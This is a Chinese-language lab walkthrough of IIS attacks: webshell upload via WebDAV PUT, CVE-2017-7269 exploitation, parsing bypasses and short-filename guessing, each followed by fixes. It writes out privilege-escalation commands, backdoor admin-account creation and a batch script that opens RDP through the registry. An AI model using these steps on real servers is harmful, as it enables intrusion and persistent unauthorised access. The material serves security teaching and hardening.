PUT漏洞
前提條件：IIS 6.0開啟了WebDAV並且擁有IIS來賓用戶擁有寫入權限
復現過程：
用IIS PUT SCANNER探測一下目標IIS是否擁有寫入權限
是YES所以可以利用
先看原來的服務器上面存在的內容
我們利用另一個工具對文件進行寫入，我們寫入一句話webshell
上傳test.txt成功
上傳上去是txt格式，於是我們用MOVE或者COPY選項把它改成asp后綴
菜刀連一下，拿到webshell
提權
上傳cmd.exe和pr.exe上去，這二者的用法是pr提權
執行下面這條命令，把當前終端的執行程序設置成我們上傳的 cmd.exe
setp "路徑cmd.exe"然后我們就可以pr提權，查看一下當前是system權限
於是我們新建管理員賬戶
pr.exe "net user hack1 123 /add" 新建一個hack1用戶，密碼為123
pr.exe "net localgroup administrators hack1 /add" 將hack1用戶加入administrators管理員組
如果對方開啟了3389端口那么就可以用新建的用戶登錄，如果沒有開啟那么我們就上傳一個bat文件，它可以遠程開啟目標的3389端口
此時運行利用pr.exe運行3389open.bat，成功開啟3389端口，可以連接
附上3389open.bat文件代碼
//3389open.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg漏洞修復
關閉WebDAV和寫權限
遠程代碼執行(CVE-2017-7269)
前提條件：IIS 6.0開啟WebDAV
復現過程：
exp下載地址：https://github.com/zcgonvh/cve-2017-7269
下載后放入msf中，路徑為/usr/share/metasploit-framework/modules/exploits/windows/iis/
注意文件名中-應該改為_否則無法識別，然后拿到了shell(失敗后靶機恢復快照，否則可能之后的攻擊無效)
這里說說我開始失敗的原因
這種叫非默認綁定
這個exp可以直接利用，如果是綁定了的，就需要手動輸入物理路徑的長度和端口即可
目前網絡上存在三種腳本，我使用的這種是第二種，區別附圖
很明顯第一種用處不大，可以用第二種代替，第二種和第三種區別就是需不需要手動輸入物理路徑的長度和端口，第三種方便，但是第三種不咋穩定我們來看看如何手動輸入物理路徑長度
現在我們默認綁定
批量檢測工具
下載地址：https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
檢測出了長度為71
然后在msf上設置PhysicalPathLength為71即可
提權
輸入whoami都不行，是一個低權限賬戶
再次使用pr提權，利用meterpreter上傳pr.exe
然后創建用戶hack1並添加到管理員組
netstat -an查看是否打開了3389端口，發現並沒有
輸入exit回到meterpreter上傳3389open.bat
然后利用pr.exe運行
netstat -an查看一下，發現3389端口已經打開
成功登陸
漏洞修復
關閉WebDAV
解析漏洞
前提條件：
IIS 6.0 IIS 7.5
復現過程：IIS 6.0解析漏洞有兩種利用方式
(1)在.asp目錄下的任意文件會以asp格式解析
(2);截斷，上傳test.asp;.jpg是一個jpg文件但是會以asp執行
IIS 7.0解析漏洞
在文件后面加上/xx.php(xx可加可不加)就會將該文件以php格式執行，比如
漏洞修復
(1)限制上傳的腳本執行權限，不允許執行腳本
(2)對新建目錄文件名進行過濾，不允許新建包含‘.’的文件
(3)不允許新建目錄
(4)過濾.asp/xx.jpg，通過ISApi組件過濾
短文件猜解
前提條件：
IIS 1.0，Windows NT 3.51
IIS 3.0，Windows NT 4.0 Service Pack 2
IIS 4.0，Windows NT 4.0選項包
IIS 5.0，Windows 2000
IIS 5.1，Windows XP Professional和Windows XP Media Center Edition
IIS 6.0，Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0，Windows Server 2008和Windows Vista
IIS 7.5，Windows 7（遠程啟用<customErrors>或沒有web.config）
IIS 7.5，Windows 2008（經典管道模式）
IS 8.0，Windows 8, Windows Server 2012
IIS 8.5，Windows 8.1,Windows Server 2012 R2
IIS 10.0，Windows 10, Windows Server 2016
注意：IIS使用.Net Framework 4時不受影響短文件名特征：
1.只顯示前6位的字符,后續字符用~1代替。其中數字1是可以遞增。如果存在文件名類似的文件,則前面的6個字符是相同的,后面的數字進行遞增
2.后綴名最長只有3位,超過3位的會生成短文件名,且后綴多余的部分會截斷
3.所有小寫字母均轉換成大寫的字母
4.長文件名中包含多個”.”的時候,以文件最后一個”.”作為短文件名的后綴
5.文件名后綴長度大於等於4或者總長度大於等於9時才會生成短文件名，如果包含空格或者其他部分特殊字符,不論長度均會生成短文件
漏洞原理：
訪問構造的某個存在的短文件名，會返回404，訪問構造的某個不存在的短文件名，返回400
自動化探測：
https://github.com/lijiejie/IIS_shortname_Scanner
漏洞修復
(1)升級.net framework到4.0以上
(2)修改注冊表禁用短文件名功能快捷鍵Win+R打開命令窗口，輸入regedit打開注冊表窗口，找到路徑：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem，將其中的NtfsDisable8dot3NameCreation這一項的值設為1，1代表不創建短文件名格式，修改完成后，需要重啟系統生效(之前存在的文件依然有短文件，新建的文件滿足生成短文件條件但是不會再生成)
(3)那么之前的文件已經存在短文件名仍能夠被猜解怎么辦呢？將目錄內所有文件剪切到另外地方再粘貼回來就行，相當於新建，這些就沒有短文件名無法被猜解了
使用自動化腳本試試
Server is not vulnerable 防御成功
參考鏈接
http://www.admintony.com/CVE-2017-7269.html
https://www.freebuf.com/articles/web/192063.html
https://www.jianshu.com/p/354fcf0939cc
https://www.freebuf.com/articles/web/172561.html
https://www.jb51.net/article/166405.htm